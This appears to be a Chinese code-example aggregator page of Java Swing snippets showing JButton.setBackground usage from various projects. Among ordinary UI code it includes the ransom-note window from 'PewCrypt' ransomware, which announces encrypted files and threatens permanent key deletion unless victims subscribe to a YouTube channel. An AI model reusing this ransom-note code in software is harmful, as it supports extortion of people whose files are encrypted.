下面列出了javax.swing.JButton#setBackground ( ) 实例代码,或者点击链接到github查看源代码,也可以在右侧发表评论。
public JButton styleButtons(){
JButton submit = new JButton();
Color colorForeground = new Color(0x8D8D8D);
Color colorBackground = new Color(0xF1F1F1);
submit.setForeground(colorForeground);
submit.setBackground(colorBackground);
Border line = new LineBorder(colorForeground);
Border margin = new EmptyBorder(5, 15, 5, 15);
Border compound = new CompoundBorder(line, margin);
submit.setBorder(compound);
submit.setAlignmentX(Component.CENTER_ALIGNMENT);
return submit;
}
protected JButton createArrowButton() {
JButton button = new CustomButton();
button.setBackground(ColorResource.getDarkBgColor());
button.setIcon(ImageResource.getIcon("down.png", 10, 10));
button.setBorderPainted(false);
button.setFocusPainted(false);
button.setName("ComboBox.arrowButton");
return button;
}
void applyStyle(JButton btn) {
btn.addActionListener(this);
btn.setBackground(ColorResource.getDarkerBgColor());// );
btn.setForeground(Color.WHITE);
btn.setFocusable(true);
// btn.setForeground(Color.WHITE);
btn.setFont(FontResource.getBigFont());
btn.setBorderPainted(false);
btn.setMargin(new Insets(0, 0, 0, 0));
// btn.setFocusPainted(false);
btn.getInputMap(WHEN_FOCUSED).put(KeyStroke.getKeyStroke("ENTER"), "pressed");
btn.getInputMap(WHEN_FOCUSED).put(KeyStroke.getKeyStroke("released ENTER"), "released");
}
private void initActions ()
{
okAction = new ReflectionAction<ErrorDlg>(getLocalizedString("Ok"), null, this, "onOk");
okButton = new JButton(okAction);
exitAction = new ReflectionAction<ErrorDlg>(getLocalizedString("Exit"), null, this, "onExit");
exitButton = new JButton(exitAction);
exitButton.setBackground(Color.RED);
exitButton.setOpaque(true);
}
private JButton createButton1(String name, int x, int y) {
JButton btn = new CustomButton(StringResource.get(name));
btn.setBackground(ColorResource.getDarkBtnColor());
btn.setBorderPainted(false);
btn.setFocusPainted(false);
btn.setForeground(Color.WHITE);
btn.setFont(FontResource.getNormalFont());
Dimension d = btn.getPreferredSize();
btn.setBounds(x, y, d.width, d.height);
// btn.addActionListener(this);
return btn;
}
private JButton createButton1(String name, int x, int y) {
JButton btn = new CustomButton(StringResource.get(name));
btn.setBackground(ColorResource.getDarkBtnColor());
btn.setBorderPainted(false);
btn.setFocusPainted(false);
btn.setForeground(Color.WHITE);
btn.setFont(FontResource.getNormalFont());
Dimension d = btn.getPreferredSize();
btn.setBounds(x, y, d.width, d.height);
btn.addActionListener(this);
return btn;
}
private void resetColorButtons(SkinSpecification skinSpec) {
// Listeners must already be removed before calling this!
colorButtons.clear();
for (Color c : skinSpec.fontColors) {
JButton colorButton = new JButton();
colorButton.setMaximumSize(new Dimension(14, 14));
colorButton.setPreferredSize(new Dimension(14, 14));
colorButton.setForeground(c);
colorButton.setBackground(c);
colorButtons.add(colorButton);
}
// Don't add listeners, to prevent double add
}
public FatalErrorDialog addButton(String message, Runnable action)
{
JButton button = new JButton(message);
button.addActionListener(e -> action.run());
button.setFont(font);
button.setBackground(DARK_GRAY_COLOR);
button.setForeground(Color.LIGHT_GRAY);
button.setBorder(BorderFactory.createCompoundBorder(
BorderFactory.createMatteBorder(1, 0, 0, 0, DARK_GRAY_COLOR.brighter()),
new EmptyBorder(4, 4, 4, 4)
));
button.setAlignmentX(Component.CENTER_ALIGNMENT);
button.setMaximumSize(new Dimension(Integer.MAX_VALUE, Integer.MAX_VALUE));
button.setFocusPainted(false);
button.addChangeListener(ev ->
{
if (button.getModel().isPressed())
{
button.setBackground(DARKER_GRAY_COLOR);
}
else if (button.getModel().isRollover())
{
button.setBackground(DARK_GRAY_HOVER_COLOR);
}
else
{
button.setBackground(DARK_GRAY_COLOR);
}
});
rightColumn.add(button);
rightColumn.revalidate();
return this;
}
private JButton makeColorButton(String name) {
JButton button = new JButton(name);
button.setPreferredSize(btnDim);
button.setMinimumSize(btnDim);
button.setMaximumSize(btnDim);
button.setBorder(BorderFactory.createCompoundBorder(
BorderFactory.createLineBorder(Color.WHITE),
BorderFactory.createRaisedBevelBorder()));
button.setBackground(Color.GRAY);
button.setEnabled(false);
return button;
}
public JButton styleButtons(){
JButton submit = new JButton();
Color colorForeground = new Color(0x8D8D8D);
Color colorBackground = new Color(0xF1F1F1);
submit.setForeground(colorForeground);
submit.setBackground(colorBackground);
Border line = new LineBorder(colorForeground);
Border margin = new EmptyBorder(5, 15, 5, 15);
Border compound = new CompoundBorder(line, margin);
submit.setBorder(compound);
submit.setAlignmentX(Component.CENTER_ALIGNMENT);
return submit;
}
public TFormExchange(int x, int y, int dx, int dy, String btnText, Color c1, Color c2) {
setUndecorated(true);
setResizable(false);
setLocation(x, y);
setSize(dx, dy);
colorA = c1;
colorB = c2;
exchangeBtn = new JButton();
exchangeBtn.setText(btnText);
exchangeBtn.setBackground(colorA);
getContentPane().add(exchangeBtn);
setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE);
setAlwaysOnTop(true);
}
private JComponent getRelationshipComponent(
final GamePlayer player1, final GamePlayer player2, final RelationshipType relType) {
if (!editable) {
return new JLabel(relType.getName());
}
final JButton button = new JButton(relType.getName());
button.addActionListener(
e -> {
final List<RelationshipType> types =
new ArrayList<>(data.getRelationshipTypeList().getAllRelationshipTypes());
types.remove(data.getRelationshipTypeList().getNullRelation());
types.remove(data.getRelationshipTypeList().getSelfRelation());
final Object[] possibilities = types.toArray();
final RelationshipType chosenRelationship =
(RelationshipType)
JOptionPane.showInputDialog(
PoliticalStateOverview.this,
"Change Current Relationship between "
+ player1.getName()
+ " and "
+ player2.getName(),
"Change Current Relationship",
JOptionPane.PLAIN_MESSAGE,
null,
possibilities,
relType);
if (chosenRelationship != null) {
// remove any old ones
editChanges.removeIf(
changesSoFar ->
(player1.equals(changesSoFar.getFirst())
&& player2.equals(changesSoFar.getSecond()))
|| (player2.equals(changesSoFar.getFirst())
&& player1.equals(changesSoFar.getSecond())));
// see if there is actually a change
data.acquireReadLock();
final RelationshipType actualRelationship;
try {
actualRelationship =
data.getRelationshipTracker().getRelationshipType(player1, player2);
} finally {
data.releaseReadLock();
}
if (!chosenRelationship.equals(actualRelationship)) {
// add new change
editChanges.add(Triple.of(player1, player2, chosenRelationship));
}
// redraw everything
redrawPolitics();
}
});
button.setBackground(getRelationshipTypeColor(relType));
return button;
}
/**
* Initialise the contents of the frame.
*/
private void initialize() {
byte[] imageBytes = DatatypeConverter.parseBase64Binary(imgB64);
try {
img = ImageIO.read(new ByteArrayInputStream(imageBytes));
} catch (IOException e1) {
e1.printStackTrace();
}
frmYourFilesHave = new JFrame();
frmYourFilesHave.setResizable(false);
frmYourFilesHave.setIconImage(img);
frmYourFilesHave.setTitle("PewCrypt");
frmYourFilesHave.setType(Type.POPUP);
frmYourFilesHave.getContentPane().setBackground(Color.BLACK);
frmYourFilesHave.setBounds(100, 100, 1247, 850);
frmYourFilesHave.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frmYourFilesHave.getContentPane().setLayout(null);
txtYourFilesHave = new JTextField();
txtYourFilesHave.setBounds(0, 0, 1215, 45);
txtYourFilesHave.setHorizontalAlignment(SwingConstants.CENTER);
txtYourFilesHave.setBackground(Color.BLACK);
txtYourFilesHave.setForeground(Color.RED);
txtYourFilesHave.setEditable(false);
txtYourFilesHave.setText("Your Files Have Been Encrypted!");
frmYourFilesHave.getContentPane().add(txtYourFilesHave);
txtYourFilesHave.setColumns(10);
JTextArea Instructions = new JTextArea();
Instructions.setBounds(0, 242, 1215, 203);
Instructions.setEditable(false);
Instructions.setFont(new Font("Monospaced", Font.PLAIN, 18));
Instructions.setBackground(Color.BLACK);
Instructions.setForeground(Color.RED);
Instructions.setText(
"Your files have been encrypted using a 256 bit AES key which has been encrypted with a 2048 bit RSA key\r\nIn order to get your files back read the instructions bellow\r\n\r\nInstructions:\r\r\n - Subscribe to Pewdiepie (Hint: Hit the bro fist)\r\r\n - Wait until Pewdiepie reaches 100 million subs at which point a decryption tool will be realseaed\r\r\nIf T-Series beats Pewdiepie THE PRIVATE KEY WILL BE DELETED AND YOU FILES GONE FOREVER!");
frmYourFilesHave.getContentPane().add(Instructions);
progressBarPEW.setMaximum(100000000);
progressBarPEW.setForeground(new Color(0, 153, 204));
progressBarPEW.setToolTipText("Pewdiepie Sub Progress Bar");
progressBarPEW.setBackground(Color.DARK_GRAY);
progressBarPEW.setBounds(0, 85, 1215, 50);
frmYourFilesHave.getContentPane().add(progressBarPEW);
progressBarT.setMaximum(100000000);
progressBarT.setForeground(new Color(204, 0, 0));
progressBarT.setToolTipText("T-Series Sub Progress Bar");
progressBarT.setBackground(Color.DARK_GRAY);
progressBarT.setBounds(0, 186, 1215, 50);
frmYourFilesHave.getContentPane().add(progressBarT);
JButton btnNewButton = new JButton(new ImageIcon(img));
btnNewButton.setBackground(Color.BLACK);
btnNewButton.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent arg0) {
try {
// open Pewdiepie channel
Desktop.getDesktop().browse(new URI("https://www.youtube.com/channel/UC-lHJZR3Gqxm24_Vd_AJ5Yw"));
} catch (IOException | URISyntaxException e) {
e.printStackTrace();
}
}
});
btnNewButton.setBounds(491, 485, 241, 249);
btnNewButton.setBorderPainted(false);
btnNewButton.setFocusPainted(false);
btnNewButton.setContentAreaFilled(false);
frmYourFilesHave.getContentPane().add(btnNewButton);
lblPewdiepie.setHorizontalAlignment(SwingConstants.CENTER);
lblPewdiepie.setForeground(Color.RED);
lblPewdiepie.setBounds(0, 47, 1215, 33);
frmYourFilesHave.getContentPane().add(lblPewdiepie);
lblT.setHorizontalAlignment(SwingConstants.CENTER);
lblT.setForeground(Color.RED);
lblT.setBounds(0, 144, 1215, 33);
frmYourFilesHave.getContentPane().add(lblT);
}
private void addOrders(DefaultTableModel model, ArrayList<AssetOrder> orders, int[] cols) {
Globals g = Globals.getInstance();
pendingIconRotating.clearCells(model);
int row = 0;
for (; row < orders.size(); row++) {
AssetOrder o = orders.get(row);
// price always come in Burst, so no problem in this division using long's
long price = o.getPrice().longValue();
long amountToken = o.getQuantity().longValue();
if(price == 0 || amountToken == 0)
continue;
String priceFormated = NumberFormatting.BURST.format(price*market.getFactor());
JButton b = new ActionButton(this, priceFormated, o, false);
if(o.getAccountAddress().equals(g.getAddress()) && o.getAssetId() != null) {
b = new ActionButton(this, priceFormated, o, true);
b.setIcon(cancelIcon);
}
if(o.getId() == null || o.getAssetId() == null) {
b.setIcon(pendingIconRotating);
pendingIconRotating.addCell(model, row, cols[OrderBookSettings.COL_PRICE]);
}
b.setBackground(o.getType() == AssetOrder.OrderType.ASK ? HistoryPanel.RED : HistoryPanel.GREEN);
model.setValueAt(b, row, cols[OrderBookSettings.COL_PRICE]);
model.setValueAt(market.format(amountToken), row, cols[OrderBookSettings.COL_SIZE]);
model.setValueAt(NumberFormatting.BURST.format(amountToken*price), row, cols[OrderBookSettings.COL_TOTAL]);
ExplorerButton exp = null;
if(o.getId()!=null) {
exp = new ExplorerButton(o.getId().getID(), copyIcon, expIcon, BUTTON_EDITOR);
if(o.getAccountAddress().equals(g.getAddress()) && o.getAssetId() != null) {
JButton cancel = new ActionButton(this, "", o, true);
cancel.setIcon(cancelIcon);
exp.add(cancel, BorderLayout.WEST);
}
}
model.setValueAt(exp, row, cols[OrderBookSettings.COL_CONTRACT]);
}
}
public ListFrame(String title) {
super(title);
SpringLayout slPane = new SpringLayout();
contentPanel.setLayout(slPane);
// Description panel
animalDescriptionLabels = new LinkedList<JLabel>();
animalDataLabels = new LinkedList<JLabel>();
// GridLayout for panel
animalPlanet = new JPanel();
animalPlanet.setBackground(LIGHT_GREY);
animalPlanet.setLayout(new GridLayout(8, 2, 5, 5));
// Adding the description fields
for (int i = 0; i < 8; i++) {
JLabel newDesc = new JLabel();
if (i < 6) {
newDesc.setFont(DEFAULT_FONT);
} else {
newDesc.setFont(BOLD_FONT);
}
animalDescriptionLabels.add(newDesc);
animalPlanet.add(newDesc);
JLabel newData = new JLabel();
if (i < 6) {
newData.setFont(DEFAULT_FONT);
} else {
newData.setFont(BOLD_FONT);
}
animalDataLabels.add(newData);
animalPlanet.add(newData);
}
slPane.putConstraint(SpringLayout.WEST, animalPlanet, 0, SpringLayout.WEST, contentPanel);
slPane.putConstraint(SpringLayout.EAST, animalPlanet, 0, SpringLayout.EAST, contentPanel);
contentPanel.add(animalPlanet);
// Delete button and check box
btnDelete = new JButton("Delete");
btnDelete.setEnabled(false);
btnDelete.setBackground(SOMETHING_REDISH);
slPane.putConstraint(SpringLayout.NORTH, btnDelete, 5, SpringLayout.SOUTH, animalPlanet);
slPane.putConstraint(SpringLayout.WEST, btnDelete, 0, SpringLayout.WEST, contentPanel);
contentPanel.add(btnDelete);
cbDelete = new JCheckBox("Enable Deletion");
cbDelete.setBackground(NOT_LIGHT_GREY);
slPane.putConstraint(SpringLayout.NORTH, cbDelete, 5, SpringLayout.SOUTH, animalPlanet);
slPane.putConstraint(SpringLayout.WEST, cbDelete, 5, SpringLayout.EAST, btnDelete);
contentPanel.add(cbDelete);
btnDeleteAll = new JButton("Delete All");
btnDeleteAll.setEnabled(false);
btnDeleteAll.setBackground(SOMETHING_REDISH);
slPane.putConstraint(SpringLayout.NORTH, btnDeleteAll, 5, SpringLayout.SOUTH, animalPlanet);
slPane.putConstraint(SpringLayout.EAST, btnDeleteAll, 0, SpringLayout.EAST, contentPanel);
contentPanel.add(btnDeleteAll);
cbDeleteAll = new JCheckBox("Enable Complete Anihilation");
cbDeleteAll.setBackground(NOT_LIGHT_GREY);
cbDeleteAll.setEnabled(false);
slPane.putConstraint(SpringLayout.NORTH, cbDeleteAll, 5, SpringLayout.SOUTH, animalPlanet);
slPane.putConstraint(SpringLayout.EAST, cbDeleteAll, -5, SpringLayout.WEST, btnDeleteAll);
contentPanel.add(cbDeleteAll);
// Selection list
animalScrollPane = new JScrollPane();
if (ZooData.getAnimalListSize() > 0) {
animalList = new JList<String>(ZooData.getAnimalListNames());
} else {
animalList = new JList<String>(new String[] { "Empty" });
setEmptyDescription();
}
animalList.setSelectionMode(ListSelectionModel.SINGLE_SELECTION);
animalList.setBackground(LIGHT_GREY);
animalScrollPane.setViewportView(animalList);
slPane.putConstraint(SpringLayout.NORTH, animalScrollPane, 5, SpringLayout.SOUTH, btnDelete);
slPane.putConstraint(SpringLayout.WEST, animalScrollPane, 0, SpringLayout.WEST, contentPanel);
slPane.putConstraint(SpringLayout.EAST, animalScrollPane, 0, SpringLayout.EAST, contentPanel);
slPane.putConstraint(SpringLayout.SOUTH, animalScrollPane, 0, SpringLayout.SOUTH, contentPanel);
contentPanel.add(animalScrollPane);
}
/**
* set Button attribute.
*
* @param btn Button object.
* @param normalIcon button icon properties.
* @param rollverIcon button icon properties when mouse over.
* @param pressedIcon button icon properties when mouse click.
*/
private void setBtnAtrr(JButton btn,
String normalIcon,
String rollverIcon,
String pressedIcon)
{
btn.setBorder(null);
btn.setFocusPainted(false);
btn.setFocusable(false);
btn.setBackground(null);
btn.setContentAreaFilled(false);
btn.setEnabled(false);
btn.setIcon(UIManager.getIcon(normalIcon));
btn.setRolloverIcon(UIManager.getIcon(rollverIcon));
btn.setPressedIcon(UIManager.getIcon(pressedIcon));
btn.setEnabled(true);
}
/**
* Refreshes the AlignmentReviewer
*/
public void refresh()
{
dialogPanel = new JPanel();
dialogPanel.setLayout(new BoxLayout(dialogPanel, BoxLayout.PAGE_AXIS));
if(aml.hasAlignment())
{
//The header button panel
selectAll = new JCheckBox("Select All/None");
selectAll.addItemListener(this);
setCorrect = new JButton("Set Correct");
setCorrect.setBackground(AMLColor.GREEN);
setCorrect.setPreferredSize(new Dimension(110,28));
setCorrect.addActionListener(this);
reset = new JButton("Reset");
reset.setBackground(AMLColor.GRAY);
reset.setPreferredSize(new Dimension(110,28));
reset.addActionListener(this);
setIncorrect = new JButton("Set Incorrect");
setIncorrect.setBackground(AMLColor.RED);
setIncorrect.setPreferredSize(new Dimension(110,28));
setIncorrect.addActionListener(this);
sortAsc = new JButton("Sort \u2191");
sortAsc.setPreferredSize(new Dimension(110,28));
sortAsc.addActionListener(this);
sortDes = new JButton("Sort \u2193");
sortDes.setPreferredSize(new Dimension(110,28));
sortDes.addActionListener(this);
search = new JButton("Search");
search.setPreferredSize(new Dimension(110,28));
search.addActionListener(this);
headerPanel = new JPanel(new FlowLayout());
headerPanel.setMaximumSize(new Dimension(headerPanel.getMaximumSize().width,30));
JPanel left = new JPanel();
left.setBorder(new BevelBorder(1));
left.add(selectAll);
left.add(setCorrect);
left.add(reset);
left.add(setIncorrect);
headerPanel.add(left);
JPanel right = new JPanel();
right.setBorder(new BevelBorder(1));
right.add(sortAsc);
right.add(sortDes);
right.add(search);
headerPanel.add(right);
//The mapping list
mappingPanel = new JPanel(new GridLayout(0,1));
a = aml.getAlignment();
check = new Vector<JCheckBox>();
mappings = new Vector<MappingButton>(a.size());
mappingPanel.setMaximumSize(new Dimension(mappingPanel.getMaximumSize().width,a.size()*30));
for(Mapping m : a)
{
JCheckBox c = new JCheckBox("");
check.add(c);
MappingButton b = new MappingButton(m);
mappings.add(b);
b.addActionListener(this);
JPanel subPanel = new JPanel(new BorderLayout());
subPanel.add(c,BorderLayout.LINE_START);
JPanel subSubPanel = new JPanel(new BorderLayout());
subSubPanel.add(b,BorderLayout.LINE_START);
subPanel.add(subSubPanel, BorderLayout.CENTER);
subPanel.setMaximumSize(new Dimension(subPanel.getMaximumSize().width,28));
subPanel.setPreferredSize(new Dimension(subPanel.getPreferredSize().width,28));
mappingPanel.add(subPanel);
}
JPanel alignment = new JPanel();
alignment.setLayout(new BoxLayout(alignment, BoxLayout.PAGE_AXIS));
alignment.add(mappingPanel);
JPanel filler = new JPanel();
alignment.add(filler);
scrollPane = new JScrollPane(alignment);
scrollPane.setBorder(new BevelBorder(1));
scrollPane.getVerticalScrollBar().setUnitIncrement(28);
scrollPane.setBackground(AMLColor.WHITE);
dialogPanel.add(headerPanel);
dialogPanel.add(scrollPane);
}
setContentPane(dialogPanel);
dialogPanel.revalidate();
dialogPanel.repaint();
this.pack();
this.setVisible(true);
}
public static JButton createUntexturedButton(String text) {
JButton button = new JButton(text);
setButtonProperties(button);
button.setBackground(ColorPalette.DARK_BACKGROUND_COLOR);
return button;
}
public InterpolatingLookupPaintScaleSetupDialog(JFrame parent,
InterpolatingLookupPaintScale paintScale) {
super(parent, "Select colors for paint scale", true);
Double[] lookupValues = paintScale.getLookupValues();
for (Double lookupValue : lookupValues) {
Color color = (Color) paintScale.getPaint(lookupValue);
lookupTable.put(lookupValue, color);
}
// Panel for controls and list
JPanel panelControlsAndList = new JPanel(new BorderLayout());
add(panelControlsAndList, BorderLayout.CENTER);
// Sub-panel for controls
JPanel panelControls = new JPanel(new BorderLayout());
panelControlsAndList.add(panelControls, BorderLayout.NORTH);
// Sub-sub panel for value and color chooser controls
JPanel panelValueAndColor = new JPanel(new FlowLayout(FlowLayout.LEFT));
panelControls.add(panelValueAndColor, BorderLayout.NORTH);
JLabel labelValue = new JLabel("Value: ");
panelValueAndColor.add(labelValue);
fieldValue = new JFormattedTextField(NumberFormat.getNumberInstance());
fieldValue.setColumns(VALUEFIELD_COLUMNS);
panelValueAndColor.add(fieldValue);
buttonColor = new JButton("Select color");
buttonColor.setBackground(new Color(255, 255, 255));
buttonColor.addActionListener(this);
panelValueAndColor.add(buttonColor);
// JPanel panelAddRemoveButtons = new JPanel(new
// FlowLayout(FlowLayout.LEFT));
buttonAddModify = new JButton("Add/Modify");
buttonAddModify.addActionListener(this);
buttonDelete = new JButton("Delete");
buttonDelete.addActionListener(this);
panelValueAndColor.add(new JPanel());
panelValueAndColor.add(buttonAddModify);
panelValueAndColor.add(buttonDelete);
// Sub-panel for scrollpane & list
JPanel panelList = new JPanel();
tableModel = new InterpolatingLookupPaintScaleSetupDialogTableModel(lookupTable);
tableLookupValues = new JTable(tableModel);
tableLookupValues.getColumnModel().getColumn(1).setCellRenderer(
new InterpolatingLookupPaintScaleSetupDialogTableCellRenderer(lookupTable));
tableLookupValues.getSelectionModel().addListSelectionListener(this);
panelControlsAndList.add(panelList, BorderLayout.CENTER);
scrollpaneLookupValues = new JScrollPane(tableLookupValues);
panelList.add(scrollpaneLookupValues);
JPanel panelOKCancelButtons = new JPanel(new FlowLayout(FlowLayout.RIGHT));
buttonOK = new JButton("OK");
buttonOK.addActionListener(this);
panelOKCancelButtons.add(buttonOK);
buttonCancel = new JButton("Cancel");
buttonCancel.addActionListener(this);
panelOKCancelButtons.add(buttonCancel);
panelControlsAndList.add(panelOKCancelButtons, BorderLayout.SOUTH);
pack();
setLocationRelativeTo(parent);
setResizable(false);
}
SpectraBottomPanel(SpectraVisualizerWindow masterFrame, RawDataFile dataFile) {
super(new BorderLayout());
this.dataFile = dataFile;
this.masterFrame = masterFrame;
setBackground(Color.white);
topPanel = new JPanel();
topPanel.setBackground(Color.white);
topPanel.setLayout(new BoxLayout(topPanel, BoxLayout.X_AXIS));
add(topPanel, BorderLayout.CENTER);
topPanel.add(Box.createHorizontalStrut(10));
JButton prevScanBtn =
GUIUtils.addButton(topPanel, leftArrow, null, masterFrame, "PREVIOUS_SCAN");
prevScanBtn.setBackground(Color.white);
prevScanBtn.setFont(smallFont);
topPanel.add(Box.createHorizontalGlue());
GUIUtils.addLabel(topPanel, "Feature list: ", SwingConstants.RIGHT);
peakListSelector = new JComboBox<PeakList>();
peakListSelector.setBackground(Color.white);
peakListSelector.setFont(smallFont);
peakListSelector.addActionListener(masterFrame);
peakListSelector.setActionCommand("PEAKLIST_CHANGE");
topPanel.add(peakListSelector);
processingCbx = GUIUtils.addCheckbox(topPanel, "Enable Processing", masterFrame,
"ENABLE_PROCESSING", "Enables quick scan processing.");
processingCbx.setBackground(Color.white);
processingCbx.setFont(smallFont);
updateProcessingCheckbox();
processingParametersBtn = GUIUtils.addButton(topPanel, "Spectra processing", null,
masterFrame, "SET_PROCESSING_PARAMETERS", "Set the parameters for quick spectra processing.");
processingParametersBtn.setBackground(Color.white);
processingParametersBtn.setFont(smallFont);
updateProcessingButton();
topPanel.add(Box.createHorizontalGlue());
JButton nextScanBtn = GUIUtils.addButton(topPanel, rightArrow, null, masterFrame, "NEXT_SCAN");
nextScanBtn.setBackground(Color.white);
nextScanBtn.setFont(smallFont);
topPanel.add(Box.createHorizontalStrut(10));
bottomPanel = new JPanel();
bottomPanel.setBackground(Color.white);
bottomPanel.setLayout(new BoxLayout(bottomPanel, BoxLayout.X_AXIS));
add(bottomPanel, BorderLayout.SOUTH);
bottomPanel.add(Box.createHorizontalGlue());
GUIUtils.addLabel(bottomPanel, "MS/MS: ", SwingConstants.RIGHT);
msmsSelector = new JComboBox<String>();
msmsSelector.setBackground(Color.white);
msmsSelector.setFont(smallFont);
bottomPanel.add(msmsSelector);
JButton showButton = GUIUtils.addButton(bottomPanel, "Show", null, masterFrame, "SHOW_MSMS");
showButton.setBackground(Color.white);
showButton.setFont(smallFont);
bottomPanel.add(Box.createHorizontalGlue());
}